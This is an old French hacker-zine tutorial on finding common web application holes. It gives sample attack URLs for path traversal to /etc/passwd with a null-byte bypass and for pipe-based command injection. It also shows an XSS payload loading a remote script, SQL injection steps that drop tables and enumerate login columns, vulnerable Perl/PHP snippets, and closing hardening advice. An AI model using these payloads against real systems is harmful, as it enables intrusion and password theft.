_________ _ _ _______________ ___________ _______ MindKind10 __ _ __ __/ / | / / | Find CGI hole in your fav CGI appz, by MindFlayR / 10.2 / ' aka: sometimes, cgi application are real bitch . ----- / \_ _______ ______ _____ __ __ ___________ _______________/ ' /________/ Bon, ce texte à pour but de vous apprendre à découvrir les failles cgi/php/asp les plus courantes. Question de pas se faire chier à lire un texte inintéressant sur le sujet, j'ai décidé de partir à la conquête des cgi mal codé sur le web pour vous montrer à quoi peut mener la découverte d'une vulnérabilité semblable. Il existe des centaines de scripts mal protégés sur le web, je vais tout simplement vous expliquer comment les découvrir. Erreur de filtrage (include) ========= la faille de loin la plus facile et la plus courantes sur le web Cible: http://www.vulnserv.com/index.php?page=prat_gard.php la technique est en fait très simple, il suffit de remplacer la valeur de page= pour lire n'importe quel fichier sur le serveur avec les droits d'accès du httpd. Résultat: http://www.vulnserv.com/index.php?page=../../../../../etc/passwd Il est donc possible de rassembler des informations sur le serveur ou de lire les passwords cryptés si la shadow-suite n'est pas installée sur le serveur. Il est aussi possible de lire le /etc/shadow si le script run en root. Exemple de script vulnérable en Perl $this = $ENV{'QUERY_STRING'}; #prends l,input de l'user et le mets dans la variable $this open(FILE, "$this"); #ouvre le fichier @stuff = ; #mets le contenu du fichier dans @stuff close(FILE); print "Content-type: text/html\n\n"; #afficher le contenu au client print "\n"; print @stuff; print ""; Erreur de filtrage (command ou system) ========= L'objectif est de pouvoir exécuter une commande sur le serveur avec les droit d'accès du serveur web. Cible: http://www.vulnerable-server.com/cgi-bin/pwesson.cgi?page=ls%20-al| Avec cette technique, il est possible de compiler un port binder ce qui nous permet d'avoir un shell possédant le uid du httpd. Cela permet au hacker de prendre contrôle de votre machine à distance et peut mener directement à un accès root illégitime. Autres exemples: http://www.vulnerable-server.com/cgi-bin/pwesson.cgi?page=id| http://www.vulnerable-server.com/cgi-bin/pwesson.cgi?page=/../../../../../../../../bin/id| http://www.vulnerable-server.com/cgi-bin/pwesson.cgi?page=|id\0 Fausse extension de fichier ========= La faille est une modification d'une erreur de filtrage. Elle permet de déjouer les scripts qui vérifient l'extension du fichier demandée par le script cgi. Cible: http://www.vulnserv.com/cgi-bin/news.pl?file=comm Résultat: http://www.vulnserv.com/cgi-bin/news.pl?file=../../../../../../../../../etc/passwd ne marche pas http://www.vulnserv.com/cgi-bin/news.pl?file=../../../../../../../../../etc/passwd%00 marche L'emploi du nullbyte en unicode (%00) permet de bypasser la protection vérifiant l'extension du fichier. Il existe 2 façon de l'employer. Comme certain script vérifie si l'extension est .html par exemple, il suffit de mettre l'extension demandée après le %00 Exemple: http://www.vulnserv.com/cgi-local/shop/cb.cgi?page=../../../../../../../../../etc/passwd%00 I am sorry, but you may only use this program to view HTML pages. If you absolutely MUST view non-HTML pages within your store, you must modify lines 79-81, but be careful, doing so may make your system vulnerable to hackers.No recipient addresses found in header ton système est déjà vulnérable mister preuve: http://www.vulnserv.com/cgi-local/shop/cb.cgi?page=../../../../../../../../../etc/passwd%00html Il est donc possible de rassembler des informations sur le serveur ou de lire les password crypter si la shadow-suite n'est pas installer sur le serveur. Il est aussi possible de lire le /etc/shadow si le script run en root. (same as #1) Encoding: Il est possible de crypter nos attaques en url-encode ou encore en hex question de bypasser les IDS ou tout simplement les protections de faible niveau. PHP system() command ==================== la commande insérer dans une serveur web peux causer une grave vulnérabilité au niveau du webserver exemple, appelons un fichier .php comprenant le code bleh.php Il suffit de faire www.serveurvuln.com/bleh.php?cmd=ls pour exécuter la commande ls sur le serveur. Donc l'utilisation de la commande system est à éviter pour des raisons de sécurité. Cross-Scripting Vulnerability ============================= Elle consiste en l'exécution de code javascript directement dans le browser ou tout simplement en guidant le cgi sur un site (celui du pirate de préférence). Le code fautif est par exemple en php echo $HTTP_GET_VARS["data"]; Donc, une requête http du genre http://www.serveurvuln.com/script.php?data= Va exécuter le mechantscript.js sur le www.serveurvuln.com ou il est aussi possible de faire la requete en url-encode ce qui donnerais quelque chose comme http://www.serveurvuln.com/script.php?data=%3Cscript+src%3D%22http%3A%2F%2Fwww.bleh.org%2Fmechantscript.js%22%3E%3C%2Fscript%3E Un autre bon exemple est par exemple http://www.vulnserv.com/perl/search/search.pl?text=vyucujici le proof of concept nous montre qu'avec http://www.vulnserv.com/perl/search/search.pl?text="> une fenetre d'alerte s'ouvrira :) Le code fautif doit ressembler à #!/usr/bin/perl use CGI; my $cgi = CGI->new(); my $text = $cgi->param('text'); print $cgi->header(); print "You entered $text"; Nous pouvons limiter les caracteres possible avec la commande $text =~ s/[^A-Za-z0-9 ]*/ /g; [ Note de LastCall_ : moi je vous conseil de mêtre #!/usr/bin/perl -T au début, ça va vous avertir pour tout les problèmes potentiels. ] Strutured Query Language (SQL) injection ======================================== Le bug consiste à insérer une série de commande SQL dans une "query" en manipulant les données envoyées à l'application. Une commande SQL ressemble à ceci : select nom, prenom, surnom from groupe01 Cette commande permet de sélectionner les colonnes "nom", "prenom" et "surnom" de la table "groupe01". Il est aussi possible de spécifier un "membre" du groupe par exemple : select nom, prenom, surnom from groupe01 where prenom = 'martin' Il est important de remarquer les '' autour de martin L'injection consiste alors a executer une commande comme select nom, prenom, surnom from groupe01 where prenom = 'martin'; drop table groupe01-- qui effacerait bien sur la table groupe01 Il est aussi possible de déterminer le contenu d'une table SQL avec l'aide de cette technique. Pour les besoins de la cause, nous allons attaquer un site protéger par un l/p relie a une table MSSQL. Nous exécutons la commande ' having 1=1-- dans la case login du site ce qui nous donne comme résultat Microsoft OLE DB Provider for ODBC Drivers error '80004005' [INTERSOLV][ODBC Informix driver][Informix]The column (user_id) must be in the GROUP BY list. /reports/include/HCIAUtil.asp, line 71 user_id étant bien sur le nom de la premier colonne. Alors nous continuons l'injection avec la commande 'group by user_id having 1=1-- ce qui nous donne comme resultat Microsoft OLE DB Provider for ODBC Drivers error '80004005' [INTERSOLV][ODBC Informix driver][Informix]The column (password) must be in the GROUP BY list. /reports/include/HCIAUtil.asp, line 71 donc nous continuons avec la commande 'group by user_id, password having 1=1-- Ainsi de suite jusqu'a ce que nous possédions le nom de toute les colonnes de la table Après nous devons définir le type de data que chaque colonnes possède. Nous avons pu découvrir que la table contenais 3 colonnes nommer "user_id", "password" et "user_type" Nous exécutons donc la commande 'union select sum(user_id) from users-- qui donne comme message d'erreur Microsoft OLE DB Provider for ODBC Drivers error '80004005' [INTERSOLV][ODBC Informix driver][Informix]Sums and averages cannot be computed for character columns. /reports/include/HCIAUtil.asp, line 71 Nous savons donc que la colonne "user_id" est de type character 'union select sum(password) from users-- la colonne password aussi 'union select sum(user_type) from users-- Analyser un code source ======================= Les erreurs de programmation permettant une de ces attaques sont souvent causés par une de ses commandes PHP --- require() include() eval() preg_replace() exec() passthru() `` (backticks) system() popen() Shell Scripts ------------- toujours TRES dangereux Perl ---- open() sysopen() glob() system() '' (backticks) eval() Java(Servlets, JSP s) --------------------- toute les commandes System.* (specialement System.Runtime) C ou C++ -------- system() exec**() strcpy strcat sprintf vsprintf gets strlen scanf() fscanf sscanf vscanf vsscanf vfscanf realpath getopt getpass streadd strecpy strtrns Python ------ exec() eval() execfile() compile() input() Rendre vos codes plus secures ============================= Il faut a tout pris filtrer les requêtes faites a vos application web. Les generics meta-caracters doive être éviter le plus possible. Les caractères causant problèmes sont Caractères Problèmes ---------- --------- ; execution de commande | execution de commande ! execution de commande & execution de commande %20 espace, fake url %00 nullbyte, mauvais string, nom de fichier %04 fausse fin de fichier %0a nouvelle ligne, execution de commande %0d nouvelle ligne, execution de commande %1b escape %08 backspace %7f delete ~ tilde ' " guillemets, base de données - base de données, nombre négatif *% base de données ` backstick, execution de commande /\ slash, backslash, fake query ou path <> LT, GT ? code/script $ code/script @ code/script : code/script Il y a très peu de raison d'utiliser ses caractères dans une application web légitime. J'espère que vous avez appris quelque chose en lisant cet article, somme toute, incomplet. Je ne peux que vous conseiller de vous tenir a jour sur le sujet. Donc amuser vous avec ça, coder brillamment, et optimiser la sécurité de vos sites web pour votre propre bien (et celui de vos donnés). Merci à: Zenomorph, medgi, LastCall_, Wyzeman, Chris Anley, Paul Lindner, The Open Web Application Security Project, David Wong, b0iler